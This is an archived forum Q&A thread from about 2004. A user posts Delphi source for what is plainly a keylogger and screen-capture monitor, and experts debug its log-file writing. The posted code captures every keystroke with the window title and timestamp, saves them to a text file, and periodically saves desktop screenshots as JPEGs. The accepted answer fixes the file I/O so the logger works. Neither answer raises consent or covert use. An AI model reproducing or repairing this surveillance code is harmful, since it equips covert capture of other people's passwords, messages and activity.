?
Solved

Please check my code

Posted on 2004-09-25
3
Medium Priority
?
534 Views
Last Modified: 2010-04-05
Could somebody tell me whats wrong with this code? Im tryng to make an app to watch what people do in my pc but it gives me an error like this: "I/O error 103."

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ExtCtrls, StdCtrls, JPEG;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Memo1: TMemo;
    Timer2: TTimer;
    Image1: TImage;
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;
const
Calidad=20; {cambiar esto}
Dir='C:\';
var
  Form1: TForm1;
    Current_App: String;
implementation

{$R *.dfm}
var  F:Textfile;




procedure TForm1.Timer1Timer(Sender: TObject);
var x: byte;
handler:THandle;
caption: Array[0..80] of Char;
begin
for x := 8 To 255 do
begin
if GetAsyncKeyState(x) = -32767 then
begin
handler:=GetForegroundWindow;
GetWindowText(handler,caption,80);
if (caption<>Current_App) and (caption<>'') then
begin
Current_App:=caption;
memo1.Text:=memo1.text+#13#10+'['+caption+']-['+TimeToStr(Now)+']-['+DateToStr(Now)+']'+#13#10;
end;
case x of
8  : memo1.text:=memo1.text+'[Backspace]';
9  : memo1.text:=memo1.text+'[Tab]';
13 : memo1.text:=memo1.text+#13#10;
17 : memo1.text:=memo1.text+'[Ctrl]';
27 : memo1.text:=memo1.text+'[Esc]';
32 :memo1.text:=memo1.text+' ';
46 : memo1.text := memo1.text+'[Del]';
48 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'='
             else memo1.text:=memo1.text+'0';
        49 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'!'
             else memo1.text:=memo1.text+'1';
        50 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'"'
             else memo1.text:=memo1.text+'2';
        51 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'·'
             else memo1.text:=memo1.text+'3';
        52 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'$'
             else memo1.text:=memo1.text+'4';
        53 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'%'
             else memo1.text:=memo1.text+'5';
        54 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'&'
             else memo1.text:=memo1.text+'6';
        55 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'/'
             else memo1.text:=memo1.text+'7';
        56 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'('
             else memo1.text:=memo1.text+'8';
        57 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+')'
             else memo1.text:=memo1.text+'9';
 65..90 :
            begin
            if Odd(GetKeyState(VK_CAPITAL)) then
                if GetKeyState(VK_SHIFT)<0 then
                   memo1.text:=memo1.text+LowerCase(Chr(x))
                else
                   memo1.text:=memo1.text+UpperCase(Chr(x))
            else
                if GetKeyState(VK_SHIFT)<0 then
                    memo1.text:=memo1.text+UpperCase(Chr(x))
                else
                    memo1.text:=memo1.text+LowerCase(Chr(x));
            end;





        96..105 : memo1.text:=memo1.text + inttostr(x-96);
        106:memo1.text:=memo1.text+'*';
        107:memo1.text:=memo1.text+'+';
        109:memo1.text:=memo1.text+'-';
        110:memo1.text:=memo1.text+'.';
        111:memo1.text:=memo1.text+'/';
186 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'^'
else memo1.text:=memo1.text+'`';
187 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'*'
else memo1.text:=memo1.text+'+';
188 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+';'
else memo1.text:=memo1.text+',';
189 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'_'
else memo1.text:=memo1.text+'-';
190 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+':'
else memo1.text:=memo1.text+'.';
191 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'ç'
             else memo1.text:=memo1.text+'Ç';
192 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'Ñ'
             else memo1.text:=memo1.text+'ñ';
219 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'?'
             else memo1.text:=memo1.text+'219';
220 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+''
             else memo1.text:=memo1.text+'º';
221 : if GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¿'
             else memo1.text:=memo1.text+'¡';
222: If GetKeyState(VK_SHIFT)<0 then memo1.text:=memo1.text+'¨'
            else memo1.text:=memo1.text+'´'

             end;



end;
end;
end;


procedure TForm1.Timer2Timer(Sender: TObject);
const
ScreenDir=Dir+'Capturas\Capturas de Pantalla';
KeylogDir=Dir+'Capturas\Capturas de Teclado';
var
DeskHWnd : Hwnd;
dc: HDC;
ScreenWidth, ScreenHeight: Integer;
TheBmp : TBitmap;
jpeg1 :Tjpegimage;

Directory_Name,File_Name:String;
begin



        Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}


        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);




DeskHWnd := GetDeskTopWindow;
dc := GetDC(DeskHWnd);
ScreenWidth := GetDeviceCaps(dc,HORZRES);
ScreenHeight := GetDeviceCaps(dc,VERTRES);
TheBmp := TBitmap.Create;
TheBmp.Width := ScreenWidth;
TheBmp.Height := ScreenHeight;
BitBlt(TheBmp.Canvas.Handle, 0,0,ScreenWidth,ScreenHeight,dc, 0,0,SRCCOPY);
Image1.Picture.Bitmap := TheBmp;
Application.ProcessMessages;
Jpeg1:=TjpegImage.Create;
jpeg1.Assign(Image1.Picture.Bitmap);
jpeg1.Smoothing:=true;

jpeg1.CompressionQuality:=Calidad;
Jpeg1.compress;

Directory_Name := FormatDateTime('dd-MM-yyyy', Now);
File_Name := FormatDateTime('HH.mm.ss AM/PM', Now);

system.MkDir(ScreenDir+'\'+Directory_Name);
Jpeg1.SaveToFile(ScreenDir+'\'+Directory_Name+'\'+File_Name+'.JPG');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
system.MkDir(Dir+'\Capturas');
system.MkDir(Dir+'\Capturas\Capturas de Teclado');
system.MkDir(Dir+'\Capturas\Capturas de Pantalla');
end;

end.



All this code is been copied from a bigger project I had in order to make it easier to notice the error but it still gives me trouble.
0
Comment
Question by:manganzon
3 Comments
 
LVL 17

Expert Comment

by:mokule
ID: 12152030
Hi,
       Assignfile(F,KeylogDir+'\log.txt');
        if not FileExists(KeylogDir+'\log.txt') Then
        begin
                Rewrite(F);
                Closefile(F);
        End
        Else
        Assignfile(F,KeylogDir+'\log.txt');
        {$I-}
      Append(F);
        {$I+}
        Write(F,Memo1.Text);
        Memo1.Clear;
        Closefile(F);

If File not exists You close it and then try to write to it
0
 
LVL 17

Accepted Solution

by:
Wim ten Brink earned 1000 total points
ID: 12152545
@mokule, how suprising it might seem, that code might actually work. :-) What he does if the file doesn't exist is creating it, closing it and then appending to it. Since it exists, it should actually work! (But it's a dirty trick.) It would be better to just use:

  Assignfile(F, Name);
  if FileExists(Name) then begin
    Append(F);
  end
  else begin
    Rewrite(F);
  end;
  Write(F,Memo1.Text);
  Memo1.Clear;
  Closefile(F);

But do you know why you get the error? A wrong filename has been provided! I think the folder "C:\Capturas\Capturas de Teclado\" does not exist or could not be created... The problem might also be related to the usage of the {$I+} directive. With IO checks turned off, IO errors could be checked by checking the value of IOResult. This should be 0 after Rewrite(), Append() and Write()... If turned on, IO errors will raise exceptions. And since the project might have been compiled with IO checking set to false in the project options, it will just start raising exceptions AFTER it is turned on. Which is the WriteLn statement.
0
 

Author Comment

by:manganzon
ID: 12153572
Thank you, i really needed this, now it works fine. :)
0

Featured Post

Free Tool: ZipGrep

ZipGrep is a utility that can list and search zip (.war, .ear, .jar, etc) archives for text patterns, without the need to extract the archive's contents.

One of a set of tools we're offering as a way to say thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

A lot of questions regard threads in Delphi.   One of the more specific questions is how to show progress of the thread.   Updating a progressbar from inside a thread is a mistake. A solution to this would be to send a synchronized message to the…
Have you ever had your Delphi form/application just hanging while waiting for data to load? This is the article to read if you want to learn some things about adding threads for data loading in the background. First, I'll setup a general applica…
Planning to migrate your EDB file(s) to a new or an existing Outlook PST file? This video will guide you how to convert EDB file(s) to PST. Besides this, it also describes, how one can easily search any item(s) from multiple folders or mailboxes…
This video tutorial shows you the steps to go through to set up what I believe to be the best email app on the android platform to read Exchange mail.  Get the app on your phone: The first step is to make sure you have the Samsung Email app on your …
Suggested Courses

601 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question